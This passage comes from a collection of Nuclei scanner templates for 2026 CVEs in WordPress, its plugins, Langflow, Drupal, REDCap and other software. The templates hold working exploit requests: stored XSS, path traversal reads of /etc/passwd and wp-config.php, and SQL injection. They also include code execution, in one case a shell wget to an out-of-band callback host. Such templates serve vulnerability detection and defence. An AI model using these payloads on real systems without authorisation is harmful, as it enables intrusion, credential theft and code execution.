matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 500'\n          - 'contains(body, \"UpgradeSvcRemote.loginAsApplicationReadOnlyPublicSession\")'\n          - '!contains(body, \"targetVersion contains illegal characters\")'\n        condition: and\n# digest: 490a00463044022048d277ff6193c350b4b5a3d311e8bcde9130e3ebe969a00e7044400c4471272702200df76b23a15a6fe02f6b90567b17720b648e1b374f62bad49d5721e8e8800b68:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-93616.yaml","vuln_id":"cve-2026-93616"},{"raw":"id: CVE-2026-93485\n\ninfo:\n  name: WordPress Core < 7.1.1 - Unauthenticated Stored XSS via Comment (Comment2Shell)\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    WordPress core before 7.1.1 is vulnerable to unauthenticated stored XSS via crafted blockquote comments. wp_kses_post accepts a <blockquote> with a literal newline in the cite attribute, wpautop's non-quote-aware regex injects a <p> inside the cite value, and wptexturize leaves the attribute open so onfocus/autofocus land on <code> as real HTML attributes, giving zero-click stored XSS. Only triggers when comments are open and auto-approved.\n  impact: |\n    An unauthenticated attacker can store JavaScript in WordPress comments that executes automatically (zero-click) in every visitor's browser on affected pages.\n  remediation: |\n    Update WordPress to 7.1.1 or a backport release (7.0.5+, 6.9.8+, 6.8.9+, down to 4.7.36+), which makes wpautop's blockquote regex quote-aware.\n  reference:\n    - https://wordpress.org/news/2026/09/wordpress-7-1-1-maintenance-and-security-release/\n    - https://github.com/686f6c61/POC-WP-CORE-CVE-2026-93485\n    - https://github.com/DeathShotXD/Comment2Shell\n    - https://www.cve.org/CVERecord?id=CVE-2026-93485\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L\n    cvss-score: 7.1\n    cve-id: CVE-2026-93485\n    epss-score: 0.00749\n    epss-percentile: 0.55051\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: wordpress\n    product: wordpress\n    framework: wordpress\n    fofa-query: body=\"wp-content\" && body=\"wp-json\"\n    shodan-query: http.html:\"wp-json\" http.html:\"WordPress\"\n    google-query: inurl:\"/wp-json/wp/v2/\"\n  tags: cve,cve2026,wordpress,xss,stored-xss,comment2shell,unauthenticated,intrusive,vkev\n\nvariables:\n  marker: \"{{randstr}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-json/wp/v2/posts?per_page=20&_fields=id,comment_status&orderby=date&order=desc HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"comment_status\":\"open\"'\n        internal: true\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      # pick the first post that actually accepts comments, not just the newest\n      - type: json\n        name: post_id\n        part: body\n        json:\n          - '[.[] | select(.comment_status==\"open\")][0].id'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-comments-post.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Referer: {{RootURL}}/?p={{post_id}}\n        Connection: close\n\n        comment=%3Cblockquote+cite%3D%22a%0Ab%22%3E%3Ccode%3Ex%22+onfocus%3Dalert%28document.domain%29+autofocus+tabindex%3D0%3C%2Fcode%3E%3C%2Fblockquote%3E+{{marker}}&author=nuclei-xss-test&email=test%40example.com&url=&comment_post_ID={{post_id}}&comment_parent=0\n\n    matchers:\n      - type: status\n        status:\n          - 302\n        internal: true\n\n  - raw:\n      - |\n        GET /?p={{post_id}} HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n        Connection: close\n\n    redirects: true\n    max-redirects: 2\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - '<blockquote[^>]*cite=\"[^\"]*<p>'\n\n      - type: word\n        part: body\n        words:\n          - \"{{marker}}\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502205582098a5934791cb5dffd8b64b1f66d9cc4c222afd635577397da620b218ec2022100c1173a0c204059277d00c65169ae2a394c2a9457e32f5576dd77de3c294b37aa:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-93485.yaml","vuln_id":"cve-2026-93485"},{"raw":"id: CVE-2026-9290\n\ninfo:\n  name: WP User Manager – User Profile Builder & Membership - Local File Inclusion\n  author: theamanrawat\n  severity: high\n  description: |\n    WP User Manager – User Profile Builder & Membership plugin for WordPress <= 2.9.17 contains a local file inclusion caused by improper handling in the profile template scope function, letting unauthenticated attackers execute arbitrary PHP code, exploit requires ability to upload or control PHP files.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data.\n  remediation: |\n    Update to a version later than 2.9.17 or the latest available version.\n  reference:\n    - https://patchstack.com/database/vulnerability/wordpress-wp-user-manager-user-profile-builder-membership-plugin-2-9-17-unauthenticated-path-traversal-to-local-file-inclusion-vulnerability\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-9290\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-9290\n    epss-score: 0.02502\n    epss-percentile: 0.84765\n    cwe-id: CWE-22\n  metadata:\n    max-request: 2\n    verified: true\n    product: wp-user-manager\n    vendor: wp-developer\n  tags: cve,cve2026,wordpress,wp-plugin,wp-user-manager,lfi,unauth,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/wp-user-manager/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"WP User Manager\")'\n          - 'compare_versions(plugin_version, \"<= 2.9.17\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: plugin_version\n        part: body\n        group: 1\n        regex:\n          - '(?i)Stable\\s+tag:\\s*([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /profile/admin/about?tab=../../../../../wp-login HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"wp-login-logo\"\n          - \"Username or Email Address\"\n          - \"wp-login-lost-password\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100ff1ba1e2b9dc80d1106d5f8b04f42fe0e8dd2b95544832e3d77bded567be876c022100dbdf94f9166e541526e42243824b8c856589ff57ba1c0f34cbd3b69916e6707d:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-9290.yaml","vuln_id":"cve-2026-9290"},{"raw":"id: CVE-2026-9282\n\ninfo:\n  name: W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read\n  author: 0x_Akoko\n  severity: high\n  description: |\n   W3 Total Cache WordPress plugin <= 2.9.4 contains a directory traversal caused by improper handling in setupSources function, letting unauthenticated attackers read arbitrary files, exploit requires manual minify mode enabled with specific filename.\n  impact: |\n   Unauthenticated attackers can read arbitrary files, potentially exposing sensitive information on the server.\n  remediation: |\n   Update to the latest version beyond 2.9.4.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e92cc06d-006f-4bba-a4ef-b23d80c00085\n    - https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.4/Minify_MinifiedFileRequestHandler.php#L191\n    - https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.4/lib/Minify/Minify/Controller/MinApp.php#L108\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-9282\n    epss-score: 0.02861\n    epss-percentile: 0.86794\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: boldgrid\n    product: w3-total-cache\n    fofa-query: body=\"/wp-content/plugins/w3-total-cache/\"\n    shodan-query: http.html:\"w3-total-cache\"\n    tags: cve,cve2026,wordpress,wp-plugin,w3-total-cache,lfi,unauth,disclosure,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"/wp-content/cache/minify/\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: theme_key\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '/wp-content/cache/minify/([a-f0-9]+)\\.[^./\"]+\\.include(?:-(?:footer|body))?\\.[a-f0-9]+\\.(?:css|js)'\n\n      - type: regex\n        name: template_key\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '/wp-content/cache/minify/[a-f0-9]+\\.([^./\"]+)\\.include(?:-(?:footer|body))?\\.[a-f0-9]+\\.(?:css|js)'\n\n  - raw:\n      - |\n        GET /?w3tc_minify={{theme_key}}.{{template_key}}.include.{{theme_key}}.css&f_array[]=wp-config.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/css\")'\n          - 'contains(body, \"DB_PASSWORD\")'\n          - 'contains(body, \"DB_NAME\")'\n        condition: and\n# digest: 4a0a00473045022100dced871b87a98eade3de0e8a59f27b529b31ca7c2566ce2bfa8a0052f25baf6302207a634a97fa380e667f6b58d490ed8f75523378a4ccf6f3cf6736dd2646da2e63:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-9282.yaml","vuln_id":"cve-2026-9282"},{"raw":"id: CVE-2026-9198\n\ninfo:\n  name: IBM Langflow - Remote Code Execution\n  author: YesWeHack\n  severity: critical\n  description: |\n    IBM Langflow OSS 1.0.0 through 1.10.0 contains a remote code execution caused by chaining /api/v1/auto_login and /api/v1/validate/code endpoints, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code remotely, leading to full system compromise.\n  remediation: |\n    Update to the latest version beyond 1.10.0.\n  reference:\n    - https://www.ibm.com/support/pages/node/7278927\n    - https://github.com/ywh-jfellus/CVE-2026-9198\n    - https://github.com/0xdak/CVE-2026-9198_exploit\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-9198\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-9198\n    epss-score: 0.28658\n    epss-percentile: 0.98145\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: ibm\n    product: langflow\n    fofa-query: title=\"Langflow\" || body=\"langflow\"\n  tags: cve,cve2026,langflow,ibm,rce,auth-bypass,vuln,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/auto_login\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"access_token\", \"refresh_token\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: token\n        json:\n          - \".access_token\"\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/validate/code HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n        {\"code\": \"def _nuclei_scan(_=exec('raise Exception(__import__(\\\"subprocess\\\").check_output(\\\"id\\\", shell=True, stderr=__import__(\\\"subprocess\\\").STDOUT).decode())')):\\n    pass\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'regex(\"uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)\", body)'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100ca6ea6ced41c3de32b6418de47f242133d9eff57562fafdac840f48cad2650db022100b762a6b6c6a2392d47226307a2f0eb72180eab7d4908bc63cc92280737301b5a:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-9198.yaml","vuln_id":"cve-2026-9198"},{"raw":"id: CVE-2026-9133\n\ninfo:\n  name: Amazon rabbitmq-aws 0.1.0 through 0.2.0 - Arbitrary File Read\n  author: ye11oc4t\n  severity: high\n  description: |\n    Amazon rabbitmq-aws versions 0.1.0 through 0.2.0 contain active debug code in the ARN resolver. An authenticated RabbitMQ user with management API access can submit an arn:aws-debug:file ARN to the validation endpoint and read arbitrary files accessible to the RabbitMQ process.\n  impact: |\n    Authenticated attackers can disclose sensitive configuration files, passwords, TLS private keys, and other secrets readable by the RabbitMQ process.\n  remediation: |\n    Upgrade rabbitmq-aws to version 0.2.1 or later. If upgrading is not immediately possible, disable the aws plugin and rotate secrets stored in files that the RabbitMQ process could read.\n  reference:\n    - https://github.com/amazon-mq/rabbitmq-aws/security/advisories/GHSA-8554-wg4r-7hxm\n    - https://aws.amazon.com/security/security-bulletins/2026-034-aws/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-9133\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 7.7\n    cve-id: CVE-2026-9133\n    epss-score: 0.01113\n    epss-percentile: 0.66091\n    cwe-id: CWE-489\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: amazon\n    product: rabbitmq-aws\n  tags: cve,cve2026,amazon,rabbitmq,aws,lfi,authenticated\n\nvariables:\n  username: \"{{username}}\"\n  password: \"{{password}}\"\n  credentials: \"{{ username + ':' + password }}\"\n\nhttp:\n  - raw:\n      - |\n        PUT /api/aws/arn/validate HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Basic {{base64(credentials)}}\n\n        {\"arns\":[\"arn:aws-debug:file:::/etc/passwd\"]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"arn:aws-debug:file:::/etc/passwd\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'regex(\"root:[x*]:0:0:\", body)'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100f19a5c9d168006d1f730eab17e4d72849b2dd7c952367a1a2918ded69710aebf022100cb92a9ab21a95d4e8940746033dfbf37b0e05a6f0fbc2d5edefd8d02fbbd1493:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-9133.yaml","vuln_id":"cve-2026-9133"},{"raw":"id: CVE-2026-91136\n\ninfo:\n  name: Divi Plus <= 2.4.0 - Unauthenticated Arbitrary File Read\n  author: HaroonArshad-53\n  severity: high\n  description: |\n    The Divi Plus WordPress plugin through 2.4.0 exposes the /wp-json/elicus/v1/dipl-modules/svg-animator REST route with a permission callback that returns true unconditionally, and passes the svg_image parameter to file_get_contents() without any path restriction, so an unauthenticated attacker can read any file readable by the web server user.\n  impact: |\n    Unauthenticated attackers can read arbitrary files, including wp-config.php with the database credentials and authentication salts.\n  remediation: |\n    Update Divi Plus to version 2.4.1 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-91136\n    - https://github.com/fl0ydsec/CVE-2026-91136\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-91136\n    epss-score: 0.02859\n    epss-percentile: 0.86786\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: elicus\n    product: divi_plus\n    framework: wordpress\n    shodan-query: http.html:\"divi-plus\"\n    fofa-query: body=\"/wp-content/plugins/divi-plus/\"\n  tags: cve,cve2026,wordpress,wp-plugin,divi-plus,file-read,lfi,unauth,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains(body, \"/wp-content/plugins/divi-plus/\")'\n\n  - raw:\n      - |\n        GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'regex(\"root:.*:0:0:\", body)'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a0046304402206cd0457c11911f929c0d3ff6ec54c5f95e8fca2579f1125fd7513580b0cd86a3022008a42e67a2fb8efe01cb66d5922b0e8fbcd02417a504e4576a6f36183db777bd:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-91136.yaml","vuln_id":"cve-2026-91136"},{"raw":"id: CVE-2026-9103\n\ninfo:\n  name: Langflow OSS - Superuser Token Issuance\n  author: str4k3r\n  severity: critical\n  description: |\n    Langflow OSS with default AUTO_LOGIN exposes `/api/v1/auto_login`, which returns a superuser access token to any unauthenticated request.\n  impact: |\n    An unauthenticated attacker obtains a superuser access token, granting full control of the Langflow instance including flow creation and execution, which typically leads to remote code execution and access to connected credentials and data sources.\n  remediation: |\n    Disable AUTO_LOGIN by setting `LANGFLOW_AUTO_LOGIN=false`, configure strong superuser credentials, upgrade to a fixed Langflow release, and restrict network exposure of the management interface.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-9103\n    - https://github.com/langflow-ai/langflow\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-9103\n    epss-score: 0.03208\n    epss-percentile: 0.88203\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: langflow-ai\n    product: langflow\n    framework: fastapi\n    shodan-query: http.title:\"Langflow\"\n    fofa-query: title=\"Langflow\"\n    google-query: intitle:\"Langflow\"\n  tags: cve,cve2026,langflow,langflow-ai,auth-bypass\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/auto_login\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - '\"access_token\"\\s*:\\s*\"[^\"\\r\\n]+\"'\n          - '\"refresh_token\"\\s*:\\s*null'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - '\"access_token\"\\s*:\\s*\"([^\"\\r\\n]+)\"'\n# digest: 4b0a00483046022100e0a473de0afd1b269d9fd1514cf8f99a7acf3d6095a63cc9d2c0b2e018eda2b2022100a713b840f43e5ac068fff948968c633fbba0a23f6eec43bfa1d8036415e56555:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-9103.yaml","vuln_id":"cve-2026-9103"},{"raw":"id: CVE-2026-90898\n\ninfo:\n  name: Bifrost < 2.1.0 - Unauthenticated MCP Stdio Command Execution\n  author: alex700\n  severity: critical\n  description: |\n    When dashboard authentication is disabled, Bifrost accepts an unauthenticated stdio MCP client registration and starts its configured command before the MCP handshake completes. This template runs a benign outbound HTTP request from the target and requires an out-of-band callback to confirm command execution.\n  impact: |\n    An unauthenticated network caller can execute a command with the privileges of the Bifrost gateway process.\n  remediation: |\n    Upgrade Bifrost to transports v2.1.0 or later and enable dashboard authentication.\n  reference:\n    - https://github.com/maximhq/bifrost/pull/6757\n  classification:\n    cve-id: CVE-2026-90898\n    epss-score: 0.02311\n    epss-percentile: 0.83436\n    cwe-id: CWE-78\n  metadata:\n    max-request: 1\n    vendor: maximhq\n    product: bifrost\n    shodan-query: http.html:\"bifrost-shell\"\n    fofa-query: body=\"bifrost-shell\"\n  tags: cve,cve2026,bifrost,rce,oast,intrusive,vkev\n\nvariables:\n  client_name: \"mcpchk_{{rand_text_alpha(10)}}\"\n\nhttp:\n  - raw:\n      - |\n        @timeout: 45s\n        POST /api/mcp/client HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{client_name}}\",\"connection_type\":\"stdio\",\"stdio_config\":{\"command\":\"/bin/sh\",\"args\":[\"-c\",\"wget -q -O /dev/null http://{{interactsh-url}}/bifrost-90898\"]},\"tools_to_execute\":[\"*\"]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 500 && contains(body, \"context deadline exceeded\") && contains(interactsh_protocol, \"http\")'\n# digest: 4b0a004830460221008cf97f854b1d4652c6d9d938faa70375fc55306b2b1a7a7b575bb5383db6d306022100c83298e394750a40510525ddc3ae2e0cbecea8ae15265e8ec97cc980e2636219:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-90898.yaml","vuln_id":"cve-2026-90898"},{"raw":"id: CVE-2026-9082\n\ninfo:\n  name: Drupal Core - Anonymous SQL Injection via PostgreSQL Entity Query\n  author: slcyber,DhiyaneshDk\n  severity: critical\n  description: |\n    Drupal core from 8.9.0 before 10.4.10, 10.5.0 before 10.5.10, 10.6.0 before 10.6.9, 11.0.0 before 11.1.10, 11.2.0 before 11.2.12, and 11.3.0 before 11.3.10 contains an SQL injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.\n  impact: |\n    Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, modification, or full database compromise.\n  remediation: |\n    Upgrade to versions 10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, 11.3.10 or later.\n  reference:\n    - https://www.drupal.org/sa-core-2026-004\n    - https://slcyber.io/research-center/keys-to-the-kingdom-anonymous-sql-injection-in-drupal-core-cve-2026-9082/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-9082\n    epss-score: 0.89381\n    epss-percentile: 0.99785\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 3\n    shodan-query: http.component:\"Drupal\"\n    fofa-query: app=\"drupal\"\n    product: drupal\n    vendor: drupal\n  tags: cve,cve2026,drupal,sqli,postgresql,kev,vkev\n\nflow: |\n  var bundles = [\"article\", \"page\"];\n  var v2 = false;\n  for (var i = 0; i < bundles.length; i++) {\n    set(\"bundle\", bundles[i]);\n    if (http(1)) {\n      v2 = true;\n      break;\n    }\n  }\n\n  var v1 = http(2) && http(3);\n  v2 || v1;\n\nhttp:\n  - raw:\n      - |\n        GET /jsonapi/node/{{bundle}}?filter[t][condition][path]=title&filter[t][condition][operator]=IN&filter[t][condition][value][%60]=x HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/vnd.api+json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 500\n          - contains(body, \"SQLSTATE[HY\")\n        condition: and\n\n  - raw:\n      - |\n        POST /user/login?_format=json HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":{\"0\":\"x\",\"0||1/(SELECT CASE WHEN (1=1) THEN 0 END)\":\"x\"},\"pass\":\"x\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 500\n        internal: true\n\n  - raw:\n      - |\n        POST /user/login?_format=json HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":{\"0\":\"x\",\"0||1/(SELECT CASE WHEN (1=2) THEN 0 END)\":\"x\"},\"pass\":\"x\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 400\n          - contains(body, \"unrecognized\")\n        condition: and\n# digest: 4a0a00473045022100ebd23442b6f69e11c4c550c899924099815cd846699ab85ecc6d0da737d022f102203e18dcc0db0106a666949403043b184abd05264e5f815bbf1739ec5e9747ccc5:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-9082.yaml","vuln_id":"cve-2026-9082"},{"raw":"id: CVE-2026-90817\n\ninfo:\n  name: REDCap >= 13.3.0 - Unauthenticated Remote Code Execution via Survey Passthru\n  author: sudo-a-man\n  severity: critical\n  description: |\n    REDCap versions 13.3.0 through 16.0.48 LTS, 17.3.9 LTS, and 17.4.3 Standard contain an unauthenticated remote code execution vulnerability. The application is vulnerable to an authentication bypass via a double-URL-decoded __passthru parameter (%2569ndex.php -> index.php) on public survey endpoints, which routes requests to internal authenticated controllers. An unauthenticated attacker can abuse this routing flaw combined with PHP filter chains to inject and execute arbitrary code through the Laravel Blade template cache.\n  impact: |\n    Unauthenticated remote attackers can execute arbitrary code on the underlying server with the privileges of the web application, leading to complete compromise of sensitive clinical and patient data.\n  remediation: |\n    Upgrade REDCap to versions 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard or later.\n  reference:\n    - https://www.securifera.com/blog/2026/09/27/survey-says-remote-code-execution-cve-2026-90817/\n    - https://github.com/securifera/CVE-2026-90817\n    - https://github.com/Farih123/CVE-2026-90817\n    - https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2026-10-07-XMRig-campaign-through-CVE-2026-90817.txt\n    - https://www.cve.org/CVERecord?id=CVE-2026-90817\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-90817\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-90817\n    epss-score: 0.03749\n    epss-percentile: 0.89905\n    cwe-id: CWE-73,CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: vanderbilt\n    product: redcap\n    shodan-query: http.title:\"REDCap\"\n    fofa-query: title=\"REDCap\" || body=\"redcap_version\" || body=\"/surveys/?s=\"\n  tags: cve,cve2026,redcap,rce,php-filter-chain,vkev,unauth,intrusive,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"surveys/?s=\") || contains(body, \"surveys/index.php?s=\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: survey_path\n        group: 1\n        internal: true\n        regex:\n          - '(?s)\\A.*?(?:https?://[^/\"''\\s<>]+)?((?:/[^/\"''\\s<>?#]+)*/surveys/)(?:index\\.php)?\\?s=[a-zA-Z0-9]+'\n\n      - type: regex\n        name: survey_hash\n        group: 1\n        internal: true\n        regex:\n          - '(?s)\\A.*?/surveys/(?:index\\.php)?\\?s=([a-zA-Z0-9]+)'\n\n  - method: GET\n    path:\n      - \"{{RootURL}}{{survey_path}}?s={{survey_hash}}&__passthru=%2569ndex.php&route=ParcelController%3Ashow\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"no parcel ID was provided\")'\n        condition: and\n# digest: 4a0a00473045022062d26efe7c59b4e274901d82bd13648fe2f66f65badde779d93ce1950f28a57c0221008006fe72cb9f7d62481aaf157e33834b8bb9bce3fda833bd14d3925b91ae1919:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-90817.yaml","vuln_id":"cve-2026-90817"},{"raw":"id: CVE-2026-90774\n\ninfo:\n  name: rustypaste < 0.18.1 - Filename Header Path Traversal\n  author: carfeii\n  severity: high\n  description: |\n    rustypaste before 0.18.1 contains a path traversal caused by improper validation of the custom filename HTTP header, letting attackers write files outside the upload directory.\n  impact: |\n    Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.\n  remediation: |\n    Update to version 0.18.1 or later.\n  reference:\n    - https://github.com/orhun/rustypaste/issues/622\n    - https://github.com/orhun/rustypaste/commit/ac05d552596af4a8429d80f30d11f67117ce02c8\n    - https://github.com/orhun/rustypaste/blob/v0.18.0/src/paste.rs\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-90774\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-90774\n    epss-score: 0.01358\n    epss-percentile: 0.71758\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: orhun\n    product: rustypaste\n    shodan-query: title:\"rustypaste\"\n  tags: cve,cve2026,rustypaste,path-traversal,file-upload,intrusive\n\nvariables:\n  marker: \"{{randstr}}\"\n  escfile: \"{{randstr}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary={{randstr}}\n        filename: ../{{escfile}}.txt\n\n        --{{randstr}}\n        Content-Disposition: form-data; name=\"protected\"; filename=\"{{marker}}.txt\"\n        Content-Type: text/plain\n\n        {{marker}}\n        --{{randstr}}--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, escfile)'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /{{escfile}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, marker)'\n          - 'contains(content_type, \"text/plain\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a0046304402200da35fad27b32bceee0d483c391ef5b1087bca27f7802585e0e9b9a5e7022702022019d5770af9916ae266ca9b5ca7459132e04b182145ccd6580b78c2c7449e35e8:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-90774.yaml","vuln_id":"cve-2026-90774"},{"raw":"id: CVE-2026-9062\n\ninfo:\n  name: WordPress Agile Store Locator < 1.6.9 - Arbitrary File Read\n  author: anirbala98\n  severity: low\n  description: |\n    The Agile 